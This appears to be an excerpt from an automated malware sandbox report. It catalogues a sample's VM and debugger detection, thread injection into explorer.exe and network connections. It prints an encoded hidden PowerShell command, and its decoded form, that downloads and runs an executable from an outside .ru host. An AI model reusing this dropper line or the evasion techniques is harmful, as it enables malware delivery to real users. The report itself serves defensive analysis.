Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\AppData\Roaming\tesubba	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_15-4110
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_12-4078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	API/Special instruction interceptor: Address: 7FFB2CECE814
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	API/Special instruction interceptor: Address: 7FFB2CECD584
Source: C:\Users\user\AppData\Roaming\tesubba	API/Special instruction interceptor: Address: 7FFB2CECE814
Source: C:\Users\user\AppData\Roaming\tesubba	API/Special instruction interceptor: Address: 7FFB2CECD584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: oBuf.exe, 0000000C.00000002.1426399124.00000000008CE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5400	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4461	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 408	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 398	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 872	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 885	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 820	Thread sleep count: 5400 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 820	Thread sleep count: 4461 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4716	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7292	Thread sleep count: 408 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7448	Thread sleep count: 398 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		12_2_00418A70
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		15_2_00418A70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 0000000E.00000000.1404942216.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
Source: explorer.exe, 0000000E.00000000.1411786366.000000000C4A2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: powershell.exe, 00000004.00000002.1352697535.00000194F5C57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: explorer.exe, 0000000E.00000000.1411786366.000000000C4A2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}W
Source: explorer.exe, 0000000E.00000000.1408331897.0000000009013000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_xU1
Source: powershell.exe, 00000004.00000002.1352697535.00000194F5C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 0000000E.00000000.1411786366.000000000C4A2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}g
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: explorer.exe, 0000000E.00000000.1408331897.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 0000000E.00000000.1408331897.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: explorer.exe, 0000000E.00000000.1408331897.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
Source: explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F27000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F27000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT`
Source: explorer.exe, 0000000E.00000000.1411786366.000000000C4A2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: explorer.exe, 0000000E.00000000.1404942216.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000000E.00000000.1405542663.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000000.1404942216.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	System information queried: CodeIntegrityInformation			Jump to behavior

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Roaming\tesubba	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_15-4110
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_12-4078

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_006A092B mov eax, dword ptr fs:[00000030h]	12_2_006A092B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_006A0D90 mov eax, dword ptr fs:[00000030h]	12_2_006A0D90
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008E0DDC push dword ptr fs:[00000030h]	12_2_008E0DDC
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005A092B mov eax, dword ptr fs:[00000030h]	15_2_005A092B
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005A0D90 mov eax, dword ptr fs:[00000030h]	15_2_005A0D90
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005CFD9C push dword ptr fs:[00000030h]	15_2_005CFD9C

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: tesubba.14.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 188.40.141.211 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 193.46.217.78 80			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Thread created: C:\Windows\explorer.exe EIP: AC419F0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Thread created: unknown EIP: 83819F0			Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $path = $Env:temp+'\oBuf.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://bestmagazineforanimalsunicum.ru/download/svc.exe',$path); Start-Process -FilePath $path
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $path = $Env:temp+'\oBuf.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://bestmagazineforanimalsunicum.ru/download/svc.exe',$path); Start-Process -FilePath $path			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tesubba	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\oBuf.exe "C:\Users\user~1\AppData\Local\Temp\oBuf.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -nop -w hidden -ep bypass -enc jabwageadaboacaapqagacqarqbuahyaogb0aguabqbwacsajwbcag8aqgb1agyalgblahgazqanadsaiaakagmababpaguabgb0acaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowagacqaywbsagkazqbuahqalgbkag8adwbuagwabwbhagqazgbpagwazqaoaccaaab0ahqacaa6ac8alwbiaguacwb0ag0ayqbnageaegbpag4azqbmag8acgbhag4aaqbtageababzahuabgbpagmadqbtac4acgb1ac8azabvahcabgbsag8ayqbkac8acwb2agmalgblahgazqanacwajabwageadaboackaowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabhahqaaaa=	Jump to behavior

Source: explorer.exe, 0000000E.00000002.2501943788.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1405260216.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2497232140.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000E.00000000.1405260216.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2497232140.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000E.00000000.1405260216.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2497232140.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: explorer.exe, 0000000E.00000000.1404942216.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2494612867.0000000000C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman
Source: explorer.exe, 0000000E.00000000.1405260216.0000000001440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.2497232140.0000000001440000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

